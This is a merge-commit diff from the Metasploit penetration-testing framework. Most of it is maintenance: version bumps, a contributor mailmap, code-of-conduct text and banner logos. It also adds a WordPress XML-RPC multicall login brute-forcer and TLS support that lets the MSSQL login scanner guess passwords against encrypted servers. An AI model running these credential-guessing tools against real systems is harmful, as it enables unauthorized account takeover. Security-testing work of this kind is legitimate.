Merge branch 'upstream-master'

This commit is contained in:
Brent Cook 2016-02-10 23:15:21 -06:00
commit db19a7d9b3
138 changed files with 3074 additions and 506 deletions

2
.gitignore vendored
View File

@ -68,6 +68,8 @@ external/source/exploits/**/Release
# Avoid checking in Meterpreter binaries. These are supplied upstream by
# the metasploit-payloads gem.
data/meterpreter/*.dll
data/meterpreter/*.php
data/meterpreter/*.py
data/meterpreter/*.bin
data/meterpreter/*.jar
data/meterpreter/*.lso

View File

@ -1,45 +1,45 @@
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <x@hdm.io>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
@ -83,6 +83,9 @@ g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
hdm <hdm@github> HD Moore <x@hdm.io>
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
jcran <jcran@github> <jcran@0x0e.org>

View File

@ -1 +1 @@
2.1.7
2.1.8

View File

@ -25,7 +25,7 @@ script:
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
sudo: false
rvm:
- '2.1.7'
- '2.1.8'
notifications:
irc: "irc.freenode.org#msfnotify"

View File

@ -35,12 +35,14 @@ This Code of Conduct applies both within project spaces and in public spaces
when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting a project maintainer at msfdev@metasploit.com. All
complaints will be reviewed and investigated and will result in a response that
is deemed necessary and appropriate to the circumstances. Maintainers are
obligated to maintain confidentiality with regard to the reporter of an
incident.
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
egypt@metasploit.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.
Maintainers are obligated to maintain confidentiality with regard to the
reporter of an incident.
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
version 1.3.0, available at

View File

@ -51,7 +51,7 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.

View File

@ -1,19 +1,19 @@
PATH
remote: .
specs:
metasploit-framework (4.11.7)
metasploit-framework (4.11.10)
actionpack (>= 4.0.9, < 4.1.0)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
bcrypt
filesize
jsobfu (~> 0.3.0)
jsobfu (~> 0.4.1)
json
metasm (~> 1.0.2)
metasploit-concern (= 1.0.0)
metasploit-credential (= 1.0.1)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.21)
metasploit-payloads (= 1.0.24)
metasploit_data_models (= 1.2.10)
msgpack
network_interface (~> 0.0.1)
@ -102,7 +102,7 @@ GEM
multi_json (~> 1.3)
hike (1.2.3)
i18n (0.7.0)
jsobfu (0.3.0)
jsobfu (0.4.1)
rkelly-remix (= 0.0.6)
json (1.8.3)
mail (2.6.3)
@ -124,7 +124,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.21)
metasploit-payloads (1.0.24)
metasploit_data_models (1.2.10)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
@ -143,7 +143,7 @@ GEM
multi_json (1.11.2)
multi_test (0.1.2)
network_interface (0.0.1)
nokogiri (1.6.7.1)
nokogiri (1.6.7.2)
mini_portile2 (~> 2.0.0.rc2)
openssl-ccm (1.2.1)
packetfu (1.1.11)
@ -180,7 +180,7 @@ GEM
rb-readline-r7 (0.5.2.0)
recog (2.0.14)
nokogiri
redcarpet (3.2.3)
redcarpet (3.3.4)
rkelly-remix (0.0.6)
robots (0.10.1)
rspec-core (3.3.2)
@ -246,3 +246,6 @@ DEPENDENCIES
simplecov
timecop
yard
BUNDLED WITH
1.11.2

11
data/logos/zsploit-1.txt Normal file
View File

@ -0,0 +1,11 @@
%bld%blk ____________%whi
[%%%%%clr%%%%%%%%%bld%blk%%%%%%%%blk%%%%%%%%%%%%%| %red$a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%%%clr%%%%%%%%%%bld%blk%%%%%%%%%%%%%%%%%%%%| %red$S`?a,%blk |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%%clr%%%%%%%%bld%blk%%%%%%%%%%%%whi_%cya_%blk%%%%%%%%%%| %red`?a,%blk |%%%%%%%%%whi_%grn_%blk%%%%%%%%%%whi_%grn_%blk%%%whi_%grn_ %blk%%%%%whi]
[% .-%cya--%clr%cya-----.%bld%whi.-%cya-%clr%cya---.%bld%whi| %clr%cya|_ %bld%whi.-%cya-%clr%cya-.-.%bld%blk| %red.,a$%%blk|%whi.-%grn---%clr%grn-.%bld%whi| %clr%grn|%bld%whi.-%grn--%clr%grn--.%bld%whi|%grn_%clr%grn_|%bld%whi| %clr%grn|_ %bld%blk%%%whi]
[% | %clr%cya|%bld%whi| %clr%cya-__|%clr%cya| %clr%cya_|%bld%whi| %clr%cya_ |%bld%blk| %red,,aS$""`%blk |%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%whi| %clr%grn_ |%bld%grn| %clr%grn|%bld%grn| %clr%grn_|%bld%blk%%%whi]
[% %cya|%clr%cya__|__|__|%bld%cya|_%clr%cya____|%bld%cya|_%clr%cya___|%bld%cya|_%clr%cya__._|%bld%blk|%red%$P"`%blk |%grn| %clr%grn__|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn____|%bld%grn|_%clr%grn_|%bld%grn|_%clr%grn___|%bld%blk%%%bld%whi]
[%%clr%%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%| %red`"a,%blk |%clr%grn|__|%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____%red`"a,$$%blk__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%clr%%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %red`"$%blk %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]
[%clr%%bld%blk%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%whi]

20
data/logos/zsploit-2.txt Normal file
View File

@ -0,0 +1,20 @@
%bld%whi
. .
.
%bludBBBBBBb dBBBP dBBBBBBP dBBBBBb %whi. o
%blu ' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB
%reddBBBBBP %bludBBBBBb dBP dBBBBP dBP dBBBBBBP
%whi. %cya. %bludB' dBP dB'.BP
%cya| %reddBP%blu dBBBB' dBP dB'.BP dBP dBP
%cya--o-- %reddBP%blu dBP dBP dB'.BP dBP dBP
%cya| %reddBBBBP%blu dBP dBBBBP dBBBBP dBP dBP%whi
.
.
o %grnTo boldly go where no
shell has gone before

21
data/logos/zsploit-3.txt Normal file
View File

@ -0,0 +1,21 @@
%clr%bld%red
.,,. .
.\$$$$$L..,,==aaccaacc%#s$b. %whid%grn8, %whid8%grnP
%whid8%cyaP %red#$$$$$$$$$$$$$$$$$$$$$$$$$$$b. %whi`BP d88%grn8888p
%whid%cya888888P %red'7$$$$\""""''^^`` .7$$$|D*"'``` %whi?%grn88'
%whid8%cyabd8b.d8p %whid8%cya888b %whi?%cya88' %whid88%cya8b8b%red _.os#$|8*"` %whid8%grnP %whi?8%grnb 88P
%whi8%cya8P`?P'?P %whid8%cyab_,dP 88P %whid8%cyaP' ?88%red .oaS###S*"` %whid8%grnP %whid88%grn88b $whi?%grn88b 88b
%cyad88 d8 ?8 88b %whi8%cya8b 88b ,88b %red.osS$$$$*" %grn?88,.d88b, %whid%grn88 %whid%grn8P' ?88 88P `?8b
%cyad88' d88b 8b`?8888P'`?8b`?88P'%red.aS$$$$Q*"` %grn`?88' ?88 ?88 88b d88 d88%red
.a#$$$$$$"` %grn88b d8P 88b`?8888P'%red
,s$$$$$$$"` %grn888888P' 88n%red _.,,,ass;:
.a$$$$$$$P` %grnd88P'%red .,.ass%#S$$$$$$$$$$$$$$'
.a$###$$$P` _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
,a$$###$$P` _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
.a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
%whi___________%clr_____________________________%bld%blk_______________________%red ,&$$$$$$'%blk_____%red
ll&&$$$$'
.;;lll&&&&'
...;;lllll&'
......;;;llll;;;....
` ......;;;;... . .

View File

@ -42,44 +42,7 @@ module Metasploit::Framework::CommonEngine
# `initializer`s
#
initializer 'metasploit_framework.merge_meterpreter_extensions' do
Rails.application.railties.engines.each do |engine|
merge_meterpreter_extensions(engine)
end
# The Rails.application itself could have paths['data/meterpreter'], but will not be part of
# Rails.application.railties.engines because only direct subclasses of `Rails::Engine` are returned.
merge_meterpreter_extensions(Rails.application)
end
end
#
# Instance Methods
#
private
# Merges the meterpreter extensions from `engine`'s `paths['data/meterpreter]`.
#
# @param engine [Rails::Engine] a Rails engine or application that has meterpreter extensions
# @return [void]
# @todo Make metasploit-framework look for meterpreter extension in paths['data/meterpreter'] from the engine instead of copying them.
def merge_meterpreter_extensions(engine)
data_meterpreter_paths = engine.paths['data/meterpreter']
# may be `nil` since 'data/meterpreter' is not part of the core Rails::Engine paths set.
if data_meterpreter_paths
source_paths = data_meterpreter_paths.existent
destination_directory = root.join('data', 'meterpreter').to_path
source_paths.each do |source_path|
basename = File.basename(source_path)
destination_path = File.join(destination_directory, basename)
unless destination_path == source_path
FileUtils.copy(source_path, destination_directory)
end
end
end
end
end

View File

@ -32,6 +32,11 @@ module Metasploit
validates :windows_authentication,
inclusion: { in: [true, false] }
attr_accessor :tdsencryption
validates :tdsencryption,
inclusion: { in: [true, false] }
def attempt_login(credential)
result_options = {
credential: credential,
@ -70,6 +75,7 @@ module Metasploit
self.use_ntlm2_session = true if self.use_ntlm2_session.nil?
self.use_ntlmv2 = true if self.use_ntlmv2.nil?
self.windows_authentication = false if self.windows_authentication.nil?
self.tdsencryption = false if self.tdsencryption.nil?
end
end

View File

@ -0,0 +1,150 @@
require 'metasploit/framework/login_scanner/http'
require 'nokogiri'
module Metasploit
module Framework
module LoginScanner
class WordpressMulticall < HTTP
# @!attribute passwords
# @return [Array]
attr_accessor :passwords
# @!attribute chunk_size, limits number of passwords per XML request
# @return [Fixnum]
attr_accessor :chunk_size
# @!attribute block_wait, time to wait if got blocked by the target
# @return [Fixnum]
attr_accessor :block_wait
# @!attribute base_uri
# @return [String]
attr_accessor :base_uri
# @!attribute wordpress_url_xmlrpc
# @return [String]
attr_accessor :wordpress_url_xmlrpc
def set_default
self.wordpress_url_xmlrpc = 'xmlrpc.php'
self.block_wait = 6
self.base_uri = '/'
self.chunk_size = 1700
end
# Returns the XML data that is used for the login.
#
# @param user [String] username
# @return [Array]
def generate_xml(user)
xml_payloads = []
# Evil XML | Limit number of log-ins to CHUNKSIZE/request due
# Wordpress limitation which is 1700 maximum.
passwords.each_slice(chunk_size) do |pass_group|
document = Nokogiri::XML::Builder.new do |xml|
xml.methodCall {
xml.methodName("system.multicall")
xml.params {
xml.param {
xml.value {
xml.array {
xml.data {
pass_group.each do |pass|
xml.value {
xml.struct {
xml.member {
xml.name("methodName")
xml.value { xml.string("wp.getUsersBlogs") }}
xml.member {
xml.name("params")
xml.value {
xml.array {
xml.data {
xml.value {
xml.array {
xml.data {
xml.value { xml.string(user) }
xml.value { xml.string(pass) }
}}}}}}}}}
end
}}}}}}
end
xml_payloads << document.to_xml
end
xml_payloads
end
# Sends an HTTP request to Wordpress.
#
# @param xml [String] XML data.
# @return [void]
def send_wp_request(xml)
opts =
{
'method' => 'POST',
'uri' => normalize_uri("#{base_uri}/#{wordpress_url_xmlrpc}"),
'data' => xml,
'ctype' =>'text/xml'
}
client = Rex::Proto::Http::Client.new(rhost)
client.connect
req = client.request_cgi(opts)
res = client.send_recv(req)
if res && res.code != 200
sleep(block_wait * 60)
end
@res = res
end
# Attempts to login.
#
# @param credential [Metasploit::Framework::Credential]
# @return [Metasploit::Framework::LoginScanner::Result]
def attempt_login(credential)
generate_xml(credential.public).each do |xml|
send_wp_request(xml)
req_xml = Nokogiri::Slop(xml)
res_xml = Nokogiri::Slop(@res.to_s.scan(/<.*>/).join)
res_xml.search("methodResponse/params/param/value/array/data/value").each_with_index do |value, i|
result = value.at("struct/member/value/int")
if result.nil?
pass = req_xml.search("data/value/array/data")[i].value[1].text.strip
credential.private = pass
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL)
return Result.new(result_opts)
end
end
end
result_opts = {
credential: credential,
host: host,
port: port,
protocol: 'tcp'
}
result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT)
return Result.new(result_opts)
end
end
end
end
end

View File

@ -78,4 +78,3 @@ module Metasploit
end
end

View File

@ -1,4 +1,5 @@
require 'metasploit/framework/tcp/client'
require 'metasploit/framework/mssql/tdssslproxy'
module Metasploit
module Framework
@ -48,11 +49,7 @@ module Metasploit
disconnect if self.sock
connect
# Send a prelogin packet and check that encryption is not enabled
if mssql_prelogin() != ENCRYPT_NOT_SUP
raise ::Rex::ConnectionError, "Encryption is not supported"
end
mssql_prelogin
if windows_authentication
idx = 0
@ -150,7 +147,14 @@ module Metasploit
# has a strange behavior that differs from the specifications
# upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header
# is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification
resp = mssql_send_recv(pkt,15, false)
if tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = proxy.send_recv(pkt)
else
resp = mssql_send_recv(pkt)
end
# Get default data
begin
@ -199,8 +203,13 @@ module Metasploit
pkt = pkt_hdr.pack("CCnnCC") + ntlmssp
resp = mssql_send_recv(pkt)
if self.tdsencryption == true
resp = mssql_ssl_send_recv(pkt,proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
#SQL Server Authentification
else
@ -282,13 +291,23 @@ module Metasploit
# Packet header and total length including header
pkt = "\x10\x01" + [pkt.length + 8].pack('n') + [0].pack('n') + [1].pack('C') + "\x00" + pkt
resp = mssql_send_recv(pkt)
if self.tdsencryption == true
proxy = TDSSSLProxy.new(sock)
proxy.setup_ssl
resp = mssql_ssl_send_recv(pkt,proxy)
proxy.cleanup
proxy = nil
else
resp = mssql_send_recv(pkt)
end
end
info = {:errors => []}
info = mssql_parse_reply(resp,info)
disconnect
return false if not info
info[:login_ack] ? true : false
end
@ -586,7 +605,14 @@ module Metasploit
]
version = [0x55010008,0x0000].pack("Vv")
encryption = ENCRYPT_NOT_SUP # off
# if manually set, we will honour
if tdsencryption == true
encryption = ENCRYPT_ON
else
encryption = ENCRYPT_NOT_SUP
end
instoptdata = "MSSQLServer\0"
threadid = "\0\0" + Rex::Text.rand_text(2)
@ -639,12 +665,57 @@ module Metasploit
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
#force to ENCRYPT_NOT_SUP and hope for the best
raise RunTimeError, "Unable to parse encryption req. "\
"from server during prelogin"
encryption_mode = ENCRYPT_NOT_SUP
end
if encryption_mode != ENCRYPT_NOT_SUP and enc_error
raise RuntimeError,"Encryption is not supported"
##########################################################
# Our initial prelogin pkt above said we didnt support
# encryption (it's quicker and the default).
#
# Per the matrix on the following link, SQL Server will
# terminate the connection if it does require TLS,
# otherwise it will accept an unencrypted session. As
# part of this initial response packet, it also returns
# ENCRYPT_REQ.
#
# https://msdn.microsoft.com\
# /en-us/library/ee320519(v=sql.105).aspx
#
##########################################################
if encryption_mode == ENCRYPT_REQ
# restart prelogin process except that we tell SQL Server
# than we are now able to encrypt
disconnect if self.sock
connect
# offset 35 is the flag - turn it on
pkt[35] = [ENCRYPT_ON].pack('C')
self.tdsencryption = true
framework_module.print_status("TLS encryption has " \
"been enabled based on server response.")
resp = mssql_send_recv(pkt)
idx = 0
while resp and resp[0,1] != "\xff" and resp.length > 5
token = resp.slice!(0,5)
token = token.unpack("Cnn")
idx -= 5
if token[0] == 0x01
idx += token[1]
break
end
end
if idx > 0
encryption_mode = resp[idx,1].unpack("C")[0]
else
raise RuntimeError, "Unable to parse encryption "\
"req during pre-login"
end
end
encryption_mode
end
@ -687,6 +758,10 @@ module Metasploit
resp
end
def mssql_ssl_send_recv(req,tdsproxy,timeout=15,check_status=true)
tdsproxy.send_recv(req)
end
#
# Encrypt a password according to the TDS protocol (encode)
#

View File

@ -0,0 +1,126 @@
# -*- coding: binary -*-
require 'openssl'
#
# TDSSSLProxy:
#
# SQL Server uses the TDS protocol to transmit data between clients and
# servers. Of course this sits on top of TCP.
#
# By default, the TDS payload is not encrypted. However, if "force
# encryption" is set under the SQL Server protocol properties, it will
# use SSL/TLS to encrypt the TDS data. Oddly, the entire TCP stream is
# not encrypted (as is say for HTTPS), but instead a TDS header is
# put on the front of the TLS packet. As a result, the full TLS/SSL
# setup is done within a series of TDS payloads.
#
# This "proxy" basically creates a fake SSL endpoint (s2) from which it
# can add/remove the TDS header as required. This is implemented as a
# socket pair (think, a bidirectional pipe), where the other end is s1:
#
# sslsock <-> s1 <-> s2 <-> tdssock <-> target SQL Server.
#
# (tdssock is the reference to the "sock" from the scanner module)
#
# TO DO:
#
# This enables brute force of a SQL Server which requires encryption.
# However, future updates will permit any read/write using
# mssql_send_recv() to use crypto if required and transparently to
# other MSF developers.
#
# Cheers, JH
class TDSSSLProxy
TYPE_TDS7_LOGIN = 16
TYPE_PRE_LOGIN_MESSAGE = 18
STATUS_END_OF_MESSAGE = 0x01
def initialize(sock)
@tdssock = sock
@s1, @s2 = Rex::Socket.tcp_socket_pair
end
def cleanup
@running = false
@t1.join
end
def setup_ssl
@running = true
@t1 = Thread.start { ssl_setup_thread }
ssl_context = OpenSSL::SSL::SSLContext.new(:TLSv1)
@ssl_socket = OpenSSL::SSL::SSLSocket.new(@s1, ssl_context)
@ssl_socket.connect
end
def send_recv(pkt)
@ssl_socket.write(pkt)
done = false
resp = ""
while (not done)
head = @ssl_socket.read(8)
if !(head and head.length == 8)
return false
end
# Is this the last buffer?
if (head[1, 1] == "\x01" or not check_status)
done = true
end
# Grab this block's length
rlen = head[2, 2].unpack('n')[0] - 8
while (rlen > 0)
buff = @ssl_socket.read(rlen)
return if not buff
resp << buff
rlen -= buff.length
end
end
resp
end
def ssl_setup_thread
while @running do
res = select([@tdssock, @s2], nil, nil, 0.1)
if res
res[0].each do |r|
# response from SQL Server for client
if r == @tdssock
resp = @tdssock.recv(4096)
if @ssl_socket.state[0, 5] == "SSLOK"
@s2.send(resp, 0)
else
@s2.send(resp[8..-1], 0)
end
end
# request from client for SQL Server
if r == @s2
resp = @s2.recv(4096)
# SSL negotiation completed - just send it on
if @ssl_socket.state[0, 5] == "SSLOK"
@tdssock.send(resp, 0)
# Still doing SSL
else
tds_pkt_len = 8 + resp.length
pkt_hdr = ''
pkt_hdr << [TYPE_PRE_LOGIN_MESSAGE, STATUS_END_OF_MESSAGE, tds_pkt_len, 0x0000, 0x00, 0x00].pack('CCnnCC')
pkt = pkt_hdr << resp
@tdssock.send(pkt, 0)
end
end
end
end
end
@s1.close
@s2.close
end
end

View File

@ -49,7 +49,7 @@ module Metasploit
#
# @return [void]
def self.optionally_active_record_railtie
if ::File.exist?(Rails.application.config.paths['config/database'].first)
if ::Rails.application.config.paths['config/database'].any?
optionally(
'active_record/railtie',
'activerecord not in the bundle, so database support will be disabled.'

View File

@ -30,7 +30,7 @@ module Metasploit
end
end
VERSION = "4.11.7"
VERSION = "4.11.10"
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
PRERELEASE = 'dev'
HASH = get_hash

View File

@ -25,7 +25,8 @@ module Auxiliary::HttpCrawler
OptInt.new('MAX_THREADS', [ true, 'The maximum number of concurrent requests', 4]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication']),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION'])
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentication', 'WORKSTATION']),
OptBool.new('SSL', [ false, 'Negotiate SSL/TLS for outgoing connections', false])
], self.class
)
@ -43,7 +44,6 @@ module Auxiliary::HttpCrawler
OptString.new('BasicAuthPass', [false, 'The HTTP password to specify for basic authentication']),
OptString.new('HTTPAdditionalHeaders', [false, "A list of additional headers to send (separated by \\x01)"]),
OptString.new('HTTPCookie', [false, "A HTTP cookie header to send with each request"]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL23', 'SSL3', 'TLS1']]),
], self.class
)

View File

@ -16,7 +16,8 @@ module Msf::DBManager::Import
autoload :Acunetix, 'msf/core/db_manager/import/acunetix'
autoload :Amap, 'msf/core/db_manager/import/amap'
autoload :Appscan, 'msf/core/db_manager/import/appscan'
autoload :Burp, 'msf/core/db_manager/import/burp'
autoload :BurpIssue, 'msf/core/db_manager/import/burp_issue'
autoload :BurpSession, 'msf/core/db_manager/import/burp_session'
autoload :CI, 'msf/core/db_manager/import/ci'
autoload :Foundstone, 'msf/core/db_manager/import/foundstone'
autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm'
@ -41,7 +42,8 @@ module Msf::DBManager::Import
include Msf::DBManager::Import::Acunetix
include Msf::DBManager::Import::Amap
include Msf::DBManager::Import::Appscan
include Msf::DBManager::Import::Burp
include Msf::DBManager::Import::BurpIssue
include Msf::DBManager::Import::BurpSession
include Msf::DBManager::Import::CI
include Msf::DBManager::Import::Foundstone
include Msf::DBManager::Import::FusionVM
@ -267,6 +269,9 @@ module Msf::DBManager::Import
elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/)
@import_filedata[:type] = "Burp Session XML"
return :burp_session_xml
elsif (data[0,1024] =~ /<!ATTLIST\s+issues\s+burpVersion/)
